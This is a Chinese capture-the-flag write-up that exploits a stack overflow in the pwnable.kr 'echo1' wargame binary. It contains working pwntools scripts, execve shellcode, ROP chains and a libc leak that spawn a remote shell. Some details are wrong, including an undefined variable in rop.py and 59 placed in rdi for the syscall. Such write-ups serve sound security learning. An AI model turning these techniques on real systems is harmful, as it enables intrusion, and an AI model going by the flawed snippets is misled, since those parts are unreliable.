pwnable.kr - echo1 - writeup
原文链接:https://www.cnblogs.com/WangAoBo/p/pwnable_kr_echo1.html
旧题新做,发现这道题能用不少姿势
漏洞分析
64位程序,没有开任何保护
pwnable_echo1 [master●●] check echo1 echo1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fa367b7e8f66b68737a56333996d80f0d72e54ea, not stripped [*] '/home/m4x/pwn_repo/pwnable_echo1/echo1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE
IDA可以看出,在echo1这个函数里没有对s的长度进行检查,可以通过控制s触发栈溢出
__int64 echo1() { char s; // [rsp+0h] [rbp-20h] (*((void (__fastcall **)(void *))o + 3))(o); // greeting get_input(&s, 128LL); // buffer overflow puts(&s); (*((void (__fastcall **)(void *))o + 4))(o); // byebye return 0LL; }
利用方法
ret2shellcode
有能控制的栈溢出,程序没有开NX,因此第一个想法就是用ret2shellcode了,但shellcode往哪写是个问题(可以通过nop滑梯爆破shellcode在栈上的地址,但实际尝试时太慢,就不说了),固定的地址只有o和id两个全局变量,o又是malloc出来的,看起来只有id能联系上了。
但仔细观察,可控的只有id的前8个字节,8个字节是写不了shellcode的
__isoc99_scanf("%24s", name); v4 = o; *(_QWORD *)o = *(_QWORD *)name; v4[1] = *(_QWORD *)&name[8]; v4[2] = *(_QWORD *)&name[16]; id = *(_DWORD *)name;
调试也能看出只能控制id的前8个字节
整理一下目前的信息:
- 有arbitrary overflow的栈
- 有能控制的8个字节的全局变量
- 无NX和pie保护
不能直接ret2shellcode是因为不知道shellcode的地址,但我们知道id前8个字节的地址,这样就可以通过这8个字节当一个trampoline,跳到shellcode,我的思路是:
-
控制id的前8个字节为"jmp rsp"(具体为什么是jmp rsp,通过调试可以清楚地显示)
───────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────── 0x40085f <echo1+71> mov rax, qword ptr [rip + 0x201832] <0x602098> 0x400866 <echo1+78> mov rdi, rax 0x400869 <echo1+81> call rdx 0x40086b <echo1+83> mov eax, 0 0x400870 <echo1+88> leave ► 0x400871 <echo1+89> ret <0x6020a0; id> ↓ 0x6020a0 <id> jmp rsp ↓ 0x7fffce3ed600 push rax 0x7fffce3ed601 xor rdx, rdx 0x7fffce3ed604 xor rsi, rsi 0x7fffce3ed607 movabs rbx, 0x68732f2f6e69622f ───────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffce3ed5f8 —▸ 0x6020a0 (id) ◂— jmp rsp /* 0xe4ff */ 01:0008│ 0x7fffce3ed600 ◂— 0x48f63148d2314850 02:0010│ 0x7fffce3ed608 ◂— 0x732f2f6e69622fbb 03:0018│ 0x7fffce3ed610 ◂— 0x50f3bb05f545368 04:0020│ 0x7fffce3ed618 —▸ 0x40000a ◂— add byte ptr [rax], al 05:0028│ 0x7fffce3ed620 —▸ 0x7fffce3ed710 ◂— 0x1 06:0030│ 0x7fffce3ed628 ◂— 0x0 07:0038│ 0x7fffce3ed630 —▸ 0x400a90 (__libc_csu_init) ◂— mov qword ptr [rsp - 0x28], rbp
-
通过arbitrary overflow控制echo1的返回地址为id,然后通过id的跳板作用跳到shellcode
talk is cheap, show you the code
pwnable_echo1 [master●●] cat sc.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.arch = 'amd64' context.os = 'linux' context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./echo1") if sys.argv[1] == "l": context.log_level = "debug" # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./echo1") libc = elf.libc else: io = remote("pwnable.kr", 9010) # libc = ELF("") def DEBUG(cmd = ""): raw_input("DEBUG: ") gdb.attach(io, cmd) if __name__ == "__main__": io.sendlineafter(" : ", asm("jmp rsp")) # DEBUG("b *echo1\nc") io.sendlineafter("> ", "1") sc = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" payload = fit({0x20 + 8: [elf.sym['id'], sc]}) io.sendline(payload) io.interactive() io.close()
rop
更进一步,如果程序关闭了NX,能不能通过rop解决
答案是肯定的,rop需要有合适的gadget,这里只需要有类似 pop rdi;ret的gadget来控制第一个参数即可leak出libc基址,进而返回到system("/bin/sh")
想法很美好,但找来找去也没有找到能控制rdi的gadget(如果你找到了,请务必告诉我),利用64位elf通用gadget(参考链接)偏移凑出的gadget也因为改变了rsp不能用
pwndbg> x/3i 0x0000000000400b0f+1 0x400b10 <__libc_csu_init+128>: mov edi,DWORD PTR [rsp+0x30] 0x400b14 <__libc_csu_init+132>: add rsp,0x38 0x400b18 <__libc_csu_init+136>: ret
这时候再把目光放到控制id的8个字节上,看一下8个字节,我们能写多少指令
pwnable_echo1 [master●●] rasm2 -a x86 -b 64 "pop rdi;ret" 5fc3 pwnable_echo1 [master●●] rasm2 -a x86 -b 64 "pop rdi;pop rsi;ret" 5f5ec3 pwnable_echo1 [master●●] rasm2 -a x86 -b 64 "pop rdi;pop rsi;pop rdx;ret" 5f5e5ac3 pwnable_echo1 [master●●] rasm2 -a x86 -b 64 "pop rdi;pop rsi;pop rdx;pop rcx;ret" 5f5e5a59c3
发现即使是控制4个寄存器的gadget,也只需5个字节,几乎可以满足任何需求了,有以下几种方法
基于 len(asm("pop rdi; ret")) < 8
只控制一个参数,可以先通过puts来leak出libc基址,然后再控制system的参数为/bin/sh即可
pwnable_echo1 [master●●] cat rop.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.os = 'linux' context.arch = 'amd64' context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./echo1") if sys.argv[1] == "l": context.log_level = "debug" # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./echo1") libc = elf.libc else: io = remote("pwnable.kr", 9010) # libc = ELF("") def DEBUG(cmd = ""): raw_input("DEBUG: ") gdb.attach(io, cmd) if __name__ == "__main__": pr = asm('pop rdi;ret') io.sendlineafter(" : ", pppr) # DEBUG("b *echo1\nc") io.sendlineafter("> ", "1") payload = flat([cyclic(0x20 + 8), elf.sym['id'], elf.got['puts'], elf.plt['puts']], elf.sym['echo1']) io.sendline(payload) libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts'] success("libc.address -> {:#x}".format(libc.address)) pause() payload = flat([cyclic(0x20 + 8), elf.sym['id'], next(libc.search("/bin/sh")), libc.sym['system']]) io.sendline(payload) io.interactive() io.close()
基于 len(asm("pop rdi; pop rsi; ret")) < 8
控制两个参数,可以控制echo1返回到scanf("%s", bss)把shellcode读到一个固定地址上,然后再返回到该地址,需要注意的是通过scanf读入shellcode的话需要避免shellcode中出现bad char截断scanf(可以参考这道题),幸运的是shellcraft生成的shellcode刚好满足条件
pwnable_echo1 [master●●] cat pop2.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.os = 'linux' context.arch = 'amd64' context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./echo1") if sys.argv[1] == "l": context.log_level = "debug" # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./echo1") libc = elf.libc else: io = remote("pwnable.kr", 9010) # libc = ELF("") def DEBUG(cmd = ""): raw_input("DEBUG: ") gdb.attach(io, cmd) if __name__ == "__main__": pppr = asm('pop rdi; pop rsi; ret') io.sendlineafter(" : ", pppr) # DEBUG("b *echo1\nc") io.sendlineafter("> ", "1") payload = flat([cyclic(0x20 + 8), elf.sym['id'], next(elf.search("%s")), elf.bss(), elf.plt['__isoc99_scanf'], elf.bss()]) io.sendline(payload) io.sendline(asm(shellcraft.execve("/bin/sh"))) io.interactive() io.close()
基于 len(asm("pop rdi; pop rsi; pop rdx;ret")) < 8
因为程序没有read函数,所以我能想到的方法和上一中一样,不再放shellcode
基于 len(asm("pop rdi; pop rsi; pop rdx;pop rcx; ret")) < 8
可以利用ret2syscall(可以参考这道题目)的方法,控制
- rdi = 59(64位系统下execve的系统调用号)
- rsi -> /bin/sh(execve的第一个参数)
- rdx = 0(execve的第二个参数)
- rcx = 0(execve的第三个参数)
我相信能看懂这个方法的师傅是可以独立写出ret2syscall的exp的,这里也不再放exp了
以上所有代码均能在我的github上找到,欢迎star
以前觉得巨难理解的一道题,现在回头看还挺简单的